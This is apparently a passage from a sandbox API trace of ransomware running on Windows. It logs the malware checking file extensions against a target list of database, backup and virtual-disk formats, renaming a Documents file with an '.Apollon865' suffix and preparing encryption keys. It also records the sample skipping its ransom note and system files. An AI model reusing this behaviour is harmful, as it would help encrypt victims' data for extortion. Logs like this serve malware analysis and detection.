	[0089.018] lstrcmpiW (lpString1="ocx", lpString2="jtx") returned 1
	[0089.018] lstrlenW (lpString="kdb") returned 3
	[0089.018] lstrcmpiW (lpString1="ocx", lpString2="kdb") returned 1
	[0089.019] lstrlenW (lpString="kexi") returned 4
	[0089.019] lstrcmpiW (lpString1="docx", lpString2="kexi") returned -1
	[0089.019] lstrlenW (lpString="kexic") returned 5
	[0089.019] lstrcmpiW (lpString1=".docx", lpString2="kexic") returned -1
	[0089.019] lstrlenW (lpString="kexis") returned 5
	[0089.019] lstrcmpiW (lpString1=".docx", lpString2="kexis") returned -1
	[0089.019] lstrlenW (lpString="lgc") returned 3
	[0089.019] lstrcmpiW (lpString1="ocx", lpString2="lgc") returned 1
	[0089.019] lstrlenW (lpString="lwx") returned 3
	[0089.019] lstrcmpiW (lpString1="ocx", lpString2="lwx") returned 1
	[0089.019] lstrlenW (lpString="maf") returned 3
	[0089.019] lstrcmpiW (lpString1="ocx", lpString2="maf") returned 1
	[0089.019] lstrlenW (lpString="maq") returned 3
	[0089.019] lstrcmpiW (lpString1="ocx", lpString2="maq") returned 1
	[0089.019] lstrlenW (lpString="mar") returned 3
	[0089.019] lstrcmpiW (lpString1="ocx", lpString2="mar") returned 1
	[0089.019] lstrlenW (lpString="marshal") returned 7
	[0089.019] lstrcmpiW (lpString1="t4.docx", lpString2="marshal") returned 1
	[0089.019] lstrlenW (lpString="mas") returned 3
	[0089.019] lstrcmpiW (lpString1="ocx", lpString2="mas") returned 1
	[0089.019] lstrlenW (lpString="mav") returned 3
	[0089.019] lstrcmpiW (lpString1="ocx", lpString2="mav") returned 1
	[0089.019] lstrlenW (lpString="maw") returned 3
	[0089.019] lstrcmpiW (lpString1="ocx", lpString2="maw") returned 1
	[0089.019] lstrlenW (lpString="mdbhtml") returned 7
	[0089.019] lstrcmpiW (lpString1="t4.docx", lpString2="mdbhtml") returned 1
	[0089.019] lstrlenW (lpString="mdn") returned 3
	[0089.019] lstrcmpiW (lpString1="ocx", lpString2="mdn") returned 1
	[0089.019] lstrlenW (lpString="mdt") returned 3
	[0089.019] lstrcmpiW (lpString1="ocx", lpString2="mdt") returned 1
	[0089.019] lstrlenW (lpString="mfd") returned 3
	[0089.019] lstrcmpiW (lpString1="ocx", lpString2="mfd") returned 1
	[0089.019] lstrlenW (lpString="mpd") returned 3
	[0089.019] lstrcmpiW (lpString1="ocx", lpString2="mpd") returned 1
	[0089.019] lstrlenW (lpString="mrg") returned 3
	[0089.019] lstrcmpiW (lpString1="ocx", lpString2="mrg") returned 1
	[0089.019] lstrlenW (lpString="mud") returned 3
	[0089.019] lstrcmpiW (lpString1="ocx", lpString2="mud") returned 1
	[0089.020] lstrlenW (lpString="mwb") returned 3
	[0089.020] lstrcmpiW (lpString1="ocx", lpString2="mwb") returned 1
	[0089.020] lstrlenW (lpString="myd") returned 3
	[0089.020] lstrcmpiW (lpString1="ocx", lpString2="myd") returned 1
	[0089.020] lstrlenW (lpString="ndf") returned 3
	[0089.020] lstrcmpiW (lpString1="ocx", lpString2="ndf") returned 1
	[0089.020] lstrlenW (lpString="nnt") returned 3
	[0089.020] lstrcmpiW (lpString1="ocx", lpString2="nnt") returned 1
	[0089.020] lstrlenW (lpString="nrmlib") returned 6
	[0089.020] lstrcmpiW (lpString1="4.docx", lpString2="nrmlib") returned -1
	[0089.020] lstrlenW (lpString="ns2") returned 3
	[0089.020] lstrcmpiW (lpString1="ocx", lpString2="ns2") returned 1
	[0089.020] lstrlenW (lpString="ns3") returned 3
	[0089.020] lstrcmpiW (lpString1="ocx", lpString2="ns3") returned 1
	[0089.020] lstrlenW (lpString="ns4") returned 3
	[0089.020] lstrcmpiW (lpString1="ocx", lpString2="ns4") returned 1
	[0089.020] lstrlenW (lpString="nsf") returned 3
	[0089.020] lstrcmpiW (lpString1="ocx", lpString2="nsf") returned 1
	[0089.020] lstrlenW (lpString="nv") returned 2
	[0089.020] lstrcmpiW (lpString1="cx", lpString2="nv") returned -1
	[0089.020] lstrlenW (lpString="nv2") returned 3
	[0089.020] lstrcmpiW (lpString1="ocx", lpString2="nv2") returned 1
	[0089.020] lstrlenW (lpString="nwdb") returned 4
	[0089.020] lstrcmpiW (lpString1="docx", lpString2="nwdb") returned -1
	[0089.020] lstrlenW (lpString="nyf") returned 3
	[0089.020] lstrcmpiW (lpString1="ocx", lpString2="nyf") returned 1
	[0089.020] lstrlenW (lpString="odb") returned 3
	[0089.020] lstrcmpiW (lpString1="ocx", lpString2="odb") returned -1
	[0089.020] lstrlenW (lpString="odb") returned 3
	[0089.020] lstrcmpiW (lpString1="ocx", lpString2="odb") returned -1
	[0089.020] lstrlenW (lpString="oqy") returned 3
	[0089.020] lstrcmpiW (lpString1="ocx", lpString2="oqy") returned -1
	[0089.020] lstrlenW (lpString="ora") returned 3
	[0089.020] lstrcmpiW (lpString1="ocx", lpString2="ora") returned -1
	[0089.020] lstrlenW (lpString="orx") returned 3
	[0089.020] lstrcmpiW (lpString1="ocx", lpString2="orx") returned -1
	[0089.020] lstrlenW (lpString="owc") returned 3
	[0089.020] lstrcmpiW (lpString1="ocx", lpString2="owc") returned -1
	[0089.021] lstrlenW (lpString="p96") returned 3
	[0089.021] lstrcmpiW (lpString1="ocx", lpString2="p96") returned -1
	[0089.021] lstrlenW (lpString="p97") returned 3
	[0089.021] lstrcmpiW (lpString1="ocx", lpString2="p97") returned -1
	[0089.021] lstrlenW (lpString="pan") returned 3
	[0089.021] lstrcmpiW (lpString1="ocx", lpString2="pan") returned -1
	[0089.021] lstrlenW (lpString="pdb") returned 3
	[0089.021] lstrcmpiW (lpString1="ocx", lpString2="pdb") returned -1
	[0089.021] lstrlenW (lpString="pdm") returned 3
	[0089.021] lstrcmpiW (lpString1="ocx", lpString2="pdm") returned -1
	[0089.021] lstrlenW (lpString="pnz") returned 3
	[0089.021] lstrcmpiW (lpString1="ocx", lpString2="pnz") returned -1
	[0089.021] lstrlenW (lpString="qry") returned 3
	[0089.021] lstrcmpiW (lpString1="ocx", lpString2="qry") returned -1
	[0089.021] lstrlenW (lpString="qvd") returned 3
	[0089.021] lstrcmpiW (lpString1="ocx", lpString2="qvd") returned -1
	[0089.021] lstrlenW (lpString="rbf") returned 3
	[0089.021] lstrcmpiW (lpString1="ocx", lpString2="rbf") returned -1
	[0089.021] lstrlenW (lpString="rctd") returned 4
	[0089.021] lstrcmpiW (lpString1="docx", lpString2="rctd") returned -1
	[0089.021] lstrlenW (lpString="rod") returned 3
	[0089.021] lstrcmpiW (lpString1="ocx", lpString2="rod") returned -1
	[0089.021] lstrlenW (lpString="rodx") returned 4
	[0089.021] lstrcmpiW (lpString1="docx", lpString2="rodx") returned -1
	[0089.021] lstrlenW (lpString="rpd") returned 3
	[0089.021] lstrcmpiW (lpString1="ocx", lpString2="rpd") returned -1
	[0089.021] lstrlenW (lpString="rsd") returned 3
	[0089.021] lstrcmpiW (lpString1="ocx", lpString2="rsd") returned -1
	[0089.021] lstrlenW (lpString="sas7bdat") returned 8
	[0089.021] lstrcmpiW (lpString1="Tt4.docx", lpString2="sas7bdat") returned 1
	[0089.021] lstrlenW (lpString="sbf") returned 3
	[0089.021] lstrcmpiW (lpString1="ocx", lpString2="sbf") returned -1
	[0089.021] lstrlenW (lpString="scx") returned 3
	[0089.021] lstrcmpiW (lpString1="ocx", lpString2="scx") returned -1
	[0089.021] lstrlenW (lpString="sdb") returned 3
	[0089.021] lstrcmpiW (lpString1="ocx", lpString2="sdb") returned -1
	[0089.021] lstrlenW (lpString="sdc") returned 3
	[0089.021] lstrcmpiW (lpString1="ocx", lpString2="sdc") returned -1
	[0089.022] lstrlenW (lpString="sdf") returned 3
	[0089.022] lstrcmpiW (lpString1="ocx", lpString2="sdf") returned -1
	[0089.022] lstrlenW (lpString="sis") returned 3
	[0089.022] lstrcmpiW (lpString1="ocx", lpString2="sis") returned -1
	[0089.022] lstrlenW (lpString="spq") returned 3
	[0089.022] lstrcmpiW (lpString1="ocx", lpString2="spq") returned -1
	[0089.022] lstrlenW (lpString="te") returned 2
	[0089.022] lstrcmpiW (lpString1="cx", lpString2="te") returned -1
	[0089.022] lstrlenW (lpString="teacher") returned 7
	[0089.022] lstrcmpiW (lpString1="t4.docx", lpString2="teacher") returned -1
	[0089.022] lstrlenW (lpString="tmd") returned 3
	[0089.022] lstrcmpiW (lpString1="ocx", lpString2="tmd") returned -1
	[0089.022] lstrlenW (lpString="tps") returned 3
	[0089.022] lstrcmpiW (lpString1="ocx", lpString2="tps") returned -1
	[0089.022] lstrlenW (lpString="trc") returned 3
	[0089.022] lstrcmpiW (lpString1="ocx", lpString2="trc") returned -1
	[0089.022] lstrlenW (lpString="trc") returned 3
	[0089.022] lstrcmpiW (lpString1="ocx", lpString2="trc") returned -1
	[0089.022] lstrlenW (lpString="trm") returned 3
	[0089.022] lstrcmpiW (lpString1="ocx", lpString2="trm") returned -1
	[0089.022] lstrlenW (lpString="udb") returned 3
	[0089.022] lstrcmpiW (lpString1="ocx", lpString2="udb") returned -1
	[0089.022] lstrlenW (lpString="udl") returned 3
	[0089.022] lstrcmpiW (lpString1="ocx", lpString2="udl") returned -1
	[0089.022] lstrlenW (lpString="usr") returned 3
	[0089.022] lstrcmpiW (lpString1="ocx", lpString2="usr") returned -1
	[0089.022] lstrlenW (lpString="v12") returned 3
	[0089.022] lstrcmpiW (lpString1="ocx", lpString2="v12") returned -1
	[0089.022] lstrlenW (lpString="vis") returned 3
	[0089.022] lstrcmpiW (lpString1="ocx", lpString2="vis") returned -1
	[0089.022] lstrlenW (lpString="vpd") returned 3
	[0089.022] lstrcmpiW (lpString1="ocx", lpString2="vpd") returned -1
	[0089.022] lstrlenW (lpString="vvv") returned 3
	[0089.022] lstrcmpiW (lpString1="ocx", lpString2="vvv") returned -1
	[0089.022] lstrlenW (lpString="wdb") returned 3
	[0089.022] lstrcmpiW (lpString1="ocx", lpString2="wdb") returned -1
	[0089.022] lstrlenW (lpString="wmdb") returned 4
	[0089.022] lstrcmpiW (lpString1="docx", lpString2="wmdb") returned -1
	[0089.023] lstrlenW (lpString="wrk") returned 3
	[0089.023] lstrcmpiW (lpString1="ocx", lpString2="wrk") returned -1
	[0089.023] lstrlenW (lpString="xdb") returned 3
	[0089.023] lstrcmpiW (lpString1="ocx", lpString2="xdb") returned -1
	[0089.023] lstrlenW (lpString="xld") returned 3
	[0089.023] lstrcmpiW (lpString1="ocx", lpString2="xld") returned -1
	[0089.023] lstrlenW (lpString="xmlff") returned 5
	[0089.023] lstrcmpiW (lpString1=".docx", lpString2="xmlff") returned -1
	[0089.023] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ABz2r6KKTt4.docx.Apollon865") returned 67
	[0089.023] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ABz2r6KKTt4.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\abz2r6kktt4.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ABz2r6KKTt4.docx.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\abz2r6kktt4.docx.apollon865"), dwFlags=0x1) returned 1
	[0089.024] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ABz2r6KKTt4.docx.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\abz2r6kktt4.docx.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0089.025] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=93653) returned 1
	[0089.025] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0089.025] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0089.025] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0089.025] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0089.026] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0089.026] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0089.026] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x170e0, lpName=0x0) returned 0x15c
	[0089.026] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x170e0) returned 0x120000
	[0089.031] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0089.031] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0089.031] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0089.031] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0089.031] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0089.031] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0089.032] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0089.032] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0089.032] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0089.032] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0089.032] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0089.032] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0089.032] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0089.032] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0089.033] CloseHandle (hObject=0x15c) returned 1
	[0089.033] CloseHandle (hObject=0x9c) returned 1
	[0089.034] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0089.034] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0089.034] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0089.035] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b58e820, ftCreationTime.dwHighDateTime=0x1d5227c, ftLastAccessTime.dwLowDateTime=0x4cd4e760, ftLastAccessTime.dwHighDateTime=0x1d5439f, ftLastWriteTime.dwLowDateTime=0x4cd4e760, ftLastWriteTime.dwHighDateTime=0x1d5439f, nFileSizeHigh=0x0, nFileSizeLow=0x18bca, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="aqIwEV.docx", cAlternateFileName="AQIWEV~1.DOC")) returned 1
	[0089.035] lstrcmpiW (lpString1="aqIwEV.docx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0089.035] lstrcmpiW (lpString1="aqIwEV.docx", lpString2="Apollon865.txt.exe") returned 1
	[0089.035] lstrcmpiW (lpString1="aqIwEV.docx", lpString2=".") returned 1
	[0089.035] lstrcmpiW (lpString1="aqIwEV.docx", lpString2="..") returned 1
	[0089.035] lstrcmpiW (lpString1="aqIwEV.docx", lpString2="windows") returned -1
	[0089.035] lstrcmpiW (lpString1="aqIwEV.docx", lpString2="bootmgr") returned -1
	[0089.035] lstrcmpiW (lpString1="aqIwEV.docx", lpString2="temp") returned -1
	[0089.035] lstrcmpiW (lpString1="aqIwEV.docx", lpString2="pagefile.sys") returned -1
	[0089.035] lstrcmpiW (lpString1="aqIwEV.docx", lpString2="boot") returned -1
	[0089.035] lstrcmpiW (lpString1="aqIwEV.docx", lpString2="ids.txt") returned -1
	[0089.035] lstrcmpiW (lpString1="aqIwEV.docx", lpString2="ntuser.dat") returned -1
	[0089.035] lstrcmpiW (lpString1="aqIwEV.docx", lpString2="perflogs") returned -1
	[0089.035] lstrcmpiW (lpString1="aqIwEV.docx", lpString2="MSBuild") returned -1
	[0089.035] lstrlenW (lpString="aqIwEV.docx") returned 11
	[0089.035] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ABz2r6KKTt4.docx") returned 56
	[0089.035] lstrcpyW (in: lpString1=0x119e658, lpString2="aqIwEV.docx" | out: lpString1="aqIwEV.docx") returned="aqIwEV.docx"
	[0089.035] lstrlenW (lpString="aqIwEV.docx") returned 11
	[0089.035] lstrlenW (lpString="Apollon865") returned 10
	[0089.035] lstrcmpiW (lpString1="qIwEV.docx", lpString2="Apollon865") returned 1
	[0089.035] lstrlenW (lpString=".dll") returned 4
	[0089.035] lstrcmpiW (lpString1="aqIwEV.docx", lpString2=".dll") returned 1
	[0089.035] lstrlenW (lpString=".lnk") returned 4
	[0089.035] lstrcmpiW (lpString1="aqIwEV.docx", lpString2=".lnk") returned 1
	[0089.035] lstrlenW (lpString=".ini") returned 4
	[0089.035] lstrcmpiW (lpString1="aqIwEV.docx", lpString2=".ini") returned 1
	[0089.035] lstrlenW (lpString=".sys") returned 4
	[0089.035] lstrcmpiW (lpString1="aqIwEV.docx", lpString2=".sys") returned 1
	[0089.035] lstrlenW (lpString="aqIwEV.docx") returned 11
	[0089.035] lstrlenW (lpString="bak") returned 3
	[0089.035] lstrcmpiW (lpString1="ocx", lpString2="bak") returned 1
	[0089.036] lstrlenW (lpString="ba_") returned 3
	[0089.036] lstrcmpiW (lpString1="ocx", lpString2="ba_") returned 1
	[0089.036] lstrlenW (lpString="dbb") returned 3
	[0089.036] lstrcmpiW (lpString1="ocx", lpString2="dbb") returned 1
	[0089.036] lstrlenW (lpString="vmdk") returned 4
	[0089.036] lstrcmpiW (lpString1="docx", lpString2="vmdk") returned -1
	[0089.036] lstrlenW (lpString="rar") returned 3
	[0089.036] lstrcmpiW (lpString1="ocx", lpString2="rar") returned -1
	[0089.036] lstrlenW (lpString="zip") returned 3
	[0089.036] lstrcmpiW (lpString1="ocx", lpString2="zip") returned -1
	[0089.036] lstrlenW (lpString="tgz") returned 3
	[0089.036] lstrcmpiW (lpString1="ocx", lpString2="tgz") returned -1
	[0089.036] lstrlenW (lpString="vbox") returned 4
	[0089.036] lstrcmpiW (lpString1="docx", lpString2="vbox") returned -1
	[0089.036] lstrlenW (lpString="vdi") returned 3
	[0089.036] lstrcmpiW (lpString1="ocx", lpString2="vdi") returned -1
	[0089.036] lstrlenW (lpString="vhd") returned 3
	[0089.036] lstrcmpiW (lpString1="ocx", lpString2="vhd") returned -1
	[0089.036] lstrlenW (lpString="vhdx") returned 4
	[0089.036] lstrcmpiW (lpString1="docx", lpString2="vhdx") returned -1
	[0089.036] lstrlenW (lpString="avhd") returned 4
	[0089.036] lstrcmpiW (lpString1="docx", lpString2="avhd") returned 1
	[0089.036] lstrlenW (lpString="db") returned 2
	[0089.036] lstrcmpiW (lpString1="cx", lpString2="db") returned -1
	[0089.036] lstrlenW (lpString="db2") returned 3
	[0089.036] lstrcmpiW (lpString1="ocx", lpString2="db2") returned 1
	[0089.036] lstrlenW (lpString="db3") returned 3
	[0089.036] lstrcmpiW (lpString1="ocx", lpString2="db3") returned 1
	[0089.036] lstrlenW (lpString="dbf") returned 3
	[0089.036] lstrcmpiW (lpString1="ocx", lpString2="dbf") returned 1
	[0089.036] lstrlenW (lpString="mdf") returned 3
	[0089.036] lstrcmpiW (lpString1="ocx", lpString2="mdf") returned 1
	[0089.036] lstrlenW (lpString="mdb") returned 3
	[0089.036] lstrcmpiW (lpString1="ocx", lpString2="mdb") returned 1
	[0089.036] lstrlenW (lpString="sql") returned 3
	[0089.036] lstrcmpiW (lpString1="ocx", lpString2="sql") returned -1
	[0089.036] lstrlenW (lpString="sqlite") returned 6
	[0089.036] lstrcmpiW (lpString1="V.docx", lpString2="sqlite") returned 1
	[0089.037] lstrlenW (lpString="sqlite3") returned 7
	[0089.037] lstrcmpiW (lpString1="EV.docx", lpString2="sqlite3") returned -1
	[0089.037] lstrlenW (lpString="sqlitedb") returned 8
	[0089.037] lstrcmpiW (lpString1="wEV.docx", lpString2="sqlitedb") returned 1
	[0089.037] lstrlenW (lpString="xml") returned 3
	[0089.037] lstrcmpiW (lpString1="ocx", lpString2="xml") returned -1
	[0089.037] lstrlenW (lpString="$er") returned 3
	[0089.037] lstrcmpiW (lpString1="ocx", lpString2="$er") returned 1
	[0089.037] lstrlenW (lpString="4dd") returned 3
	[0089.037] lstrcmpiW (lpString1="ocx", lpString2="4dd") returned 1
	[0089.037] lstrlenW (lpString="4dl") returned 3
	[0089.037] lstrcmpiW (lpString1="ocx", lpString2="4dl") returned 1
	[0089.037] lstrlenW (lpString="^^^") returned 3
	[0089.037] lstrcmpiW (lpString1="ocx", lpString2="^^^") returned 1
	[0089.037] lstrlenW (lpString="abs") returned 3
	[0089.037] lstrcmpiW (lpString1="ocx", lpString2="abs") returned 1
	[0089.037] lstrlenW (lpString="abx") returned 3
	[0089.037] lstrcmpiW (lpString1="ocx", lpString2="abx") returned 1
	[0089.037] lstrlenW (lpString="accdb") returned 5
	[0089.037] lstrcmpiW (lpString1=".docx", lpString2="accdb") returned -1
	[0089.037] lstrlenW (lpString="accdc") returned 5
	[0089.037] lstrcmpiW (lpString1=".docx", lpString2="accdc") returned -1
	[0089.037] lstrlenW (lpString="accde") returned 5
	[0089.037] lstrcmpiW (lpString1=".docx", lpString2="accde") returned -1
	[0089.037] lstrlenW (lpString="accdr") returned 5
	[0089.037] lstrcmpiW (lpString1=".docx", lpString2="accdr") returned -1
	[0089.037] lstrlenW (lpString="accdt") returned 5
	[0089.037] lstrcmpiW (lpString1=".docx", lpString2="accdt") returned -1
	[0089.037] lstrlenW (lpString="accdw") returned 5
	[0089.037] lstrcmpiW (lpString1=".docx", lpString2="accdw") returned -1
	[0089.037] lstrlenW (lpString="accft") returned 5
	[0089.037] lstrcmpiW (lpString1=".docx", lpString2="accft") returned -1
	[0089.037] lstrlenW (lpString="adb") returned 3
	[0089.037] lstrcmpiW (lpString1="ocx", lpString2="adb") returned 1
	[0089.037] lstrlenW (lpString="adb") returned 3
	[0089.037] lstrcmpiW (lpString1="ocx", lpString2="adb") returned 1
	[0089.037] lstrlenW (lpString="ade") returned 3
	[0089.038] lstrcmpiW (lpString1="ocx", lpString2="ade") returned 1
	[0089.038] lstrlenW (lpString="adf") returned 3
	[0089.038] lstrcmpiW (lpString1="ocx", lpString2="adf") returned 1
	[0089.038] lstrlenW (lpString="adn") returned 3
	[0089.038] lstrcmpiW (lpString1="ocx", lpString2="adn") returned 1
	[0089.038] lstrlenW (lpString="adp") returned 3
	[0089.038] lstrcmpiW (lpString1="ocx", lpString2="adp") returned 1
	[0089.038] lstrlenW (lpString="alf") returned 3
	[0089.038] lstrcmpiW (lpString1="ocx", lpString2="alf") returned 1
	[0089.038] lstrlenW (lpString="ask") returned 3
	[0089.038] lstrcmpiW (lpString1="ocx", lpString2="ask") returned 1
	[0089.038] lstrlenW (lpString="btr") returned 3
	[0089.038] lstrcmpiW (lpString1="ocx", lpString2="btr") returned 1
	[0089.038] lstrlenW (lpString="cat") returned 3
	[0089.038] lstrcmpiW (lpString1="ocx", lpString2="cat") returned 1
	[0089.038] lstrlenW (lpString="cdb") returned 3
	[0089.038] lstrcmpiW (lpString1="ocx", lpString2="cdb") returned 1
	[0089.038] lstrlenW (lpString="ckp") returned 3
	[0089.038] lstrcmpiW (lpString1="ocx", lpString2="ckp") returned 1
	[0089.038] lstrlenW (lpString="cma") returned 3
	[0089.038] lstrcmpiW (lpString1="ocx", lpString2="cma") returned 1
	[0089.038] lstrlenW (lpString="cpd") returned 3
	[0089.038] lstrcmpiW (lpString1="ocx", lpString2="cpd") returned 1
	[0089.038] lstrlenW (lpString="dacpac") returned 6
	[0089.038] lstrcmpiW (lpString1="V.docx", lpString2="dacpac") returned 1
	[0089.038] lstrlenW (lpString="dad") returned 3
	[0089.038] lstrcmpiW (lpString1="ocx", lpString2="dad") returned 1
	[0089.038] lstrlenW (lpString="dadiagrams") returned 10
	[0089.038] lstrcmpiW (lpString1="qIwEV.docx", lpString2="dadiagrams") returned 1
	[0089.038] lstrlenW (lpString="daschema") returned 8
	[0089.038] lstrcmpiW (lpString1="wEV.docx", lpString2="daschema") returned 1
	[0089.038] lstrlenW (lpString="db-journal") returned 10
	[0089.038] lstrcmpiW (lpString1="qIwEV.docx", lpString2="db-journal") returned 1
	[0089.038] lstrlenW (lpString="db-shm") returned 6
	[0089.038] lstrcmpiW (lpString1="V.docx", lpString2="db-shm") returned 1
	[0089.038] lstrlenW (lpString="db-wal") returned 6
	[0089.038] lstrcmpiW (lpString1="V.docx", lpString2="db-wal") returned 1
	[0089.038] lstrlenW (lpString="dbc") returned 3
	[0089.039] lstrcmpiW (lpString1="ocx", lpString2="dbc") returned 1
	[0089.039] lstrlenW (lpString="dbs") returned 3
	[0089.039] lstrcmpiW (lpString1="ocx", lpString2="dbs") returned 1
	[0089.039] lstrlenW (lpString="dbt") returned 3
	[0089.039] lstrcmpiW (lpString1="ocx", lpString2="dbt") returned 1
	[0089.039] lstrlenW (lpString="dbv") returned 3
	[0089.039] lstrcmpiW (lpString1="ocx", lpString2="dbv") returned 1
	[0089.039] lstrlenW (lpString="dbx") returned 3
	[0089.039] lstrcmpiW (lpString1="ocx", lpString2="dbx") returned 1
	[0089.039] lstrlenW (lpString="dcb") returned 3
	[0089.039] lstrcmpiW (lpString1="ocx", lpString2="dcb") returned 1
	[0089.039] lstrlenW (lpString="dct") returned 3
	[0089.039] lstrcmpiW (lpString1="ocx", lpString2="dct") returned 1
	[0089.039] lstrlenW (lpString="dcx") returned 3
	[0089.039] lstrcmpiW (lpString1="ocx", lpString2="dcx") returned 1
	[0089.039] lstrlenW (lpString="ddl") returned 3
	[0089.039] lstrcmpiW (lpString1="ocx", lpString2="ddl") returned 1
	[0089.039] lstrlenW (lpString="dlis") returned 4
	[0089.039] lstrcmpiW (lpString1="docx", lpString2="dlis") returned 1
	[0089.039] lstrlenW (lpString="dp1") returned 3
	[0089.039] lstrcmpiW (lpString1="ocx", lpString2="dp1") returned 1
	[0089.039] lstrlenW (lpString="dqy") returned 3
	[0089.039] lstrcmpiW (lpString1="ocx", lpString2="dqy") returned 1
	[0089.039] lstrlenW (lpString="dsk") returned 3
	[0089.039] lstrcmpiW (lpString1="ocx", lpString2="dsk") returned 1
	[0089.039] lstrlenW (lpString="dsn") returned 3
	[0089.039] lstrcmpiW (lpString1="ocx", lpString2="dsn") returned 1
	[0089.039] lstrlenW (lpString="dtsx") returned 4
	[0089.040] lstrcmpiW (lpString1="docx", lpString2="dtsx") returned -1
	[0089.040] lstrlenW (lpString="dxl") returned 3
	[0089.040] lstrcmpiW (lpString1="ocx", lpString2="dxl") returned 1
	[0089.040] lstrlenW (lpString="eco") returned 3
	[0089.040] lstrcmpiW (lpString1="ocx", lpString2="eco") returned 1
	[0089.040] lstrlenW (lpString="ecx") returned 3
	[0089.040] lstrcmpiW (lpString1="ocx", lpString2="ecx") returned 1
	[0089.040] lstrlenW (lpString="edb") returned 3
	[0089.040] lstrcmpiW (lpString1="ocx", lpString2="edb") returned 1
	[0089.040] lstrlenW (lpString="epim") returned 4
	[0089.040] lstrcmpiW (lpString1="docx", lpString2="epim") returned -1
	[0089.040] lstrlenW (lpString="fcd") returned 3
	[0089.040] lstrcmpiW (lpString1="ocx", lpString2="fcd") returned 1
	[0089.040] lstrlenW (lpString="fdb") returned 3
	[0089.040] lstrcmpiW (lpString1="ocx", lpString2="fdb") returned 1
	[0089.040] lstrlenW (lpString="fic") returned 3
	[0089.040] lstrcmpiW (lpString1="ocx", lpString2="fic") returned 1
	[0089.040] lstrlenW (lpString="flexolibrary") returned 12
	[0089.040] lstrlenW (lpString="fm5") returned 3
	[0089.040] lstrcmpiW (lpString1="ocx", lpString2="fm5") returned 1
	[0089.040] lstrlenW (lpString="fmp") returned 3
	[0089.040] lstrcmpiW (lpString1="ocx", lpString2="fmp") returned 1
	[0089.040] lstrlenW (lpString="fmp12") returned 5
	[0089.040] lstrcmpiW (lpString1=".docx", lpString2="fmp12") returned -1
	[0089.040] lstrlenW (lpString="fmpsl") returned 5
	[0089.040] lstrcmpiW (lpString1=".docx", lpString2="fmpsl") returned -1
	[0089.040] lstrlenW (lpString="fol") returned 3
	[0089.040] lstrcmpiW (lpString1="ocx", lpString2="fol") returned 1
	[0089.040] lstrlenW (lpString="fp3") returned 3
	[0089.040] lstrcmpiW (lpString1="ocx", lpString2="fp3") returned 1
	[0089.040] lstrlenW (lpString="fp4") returned 3
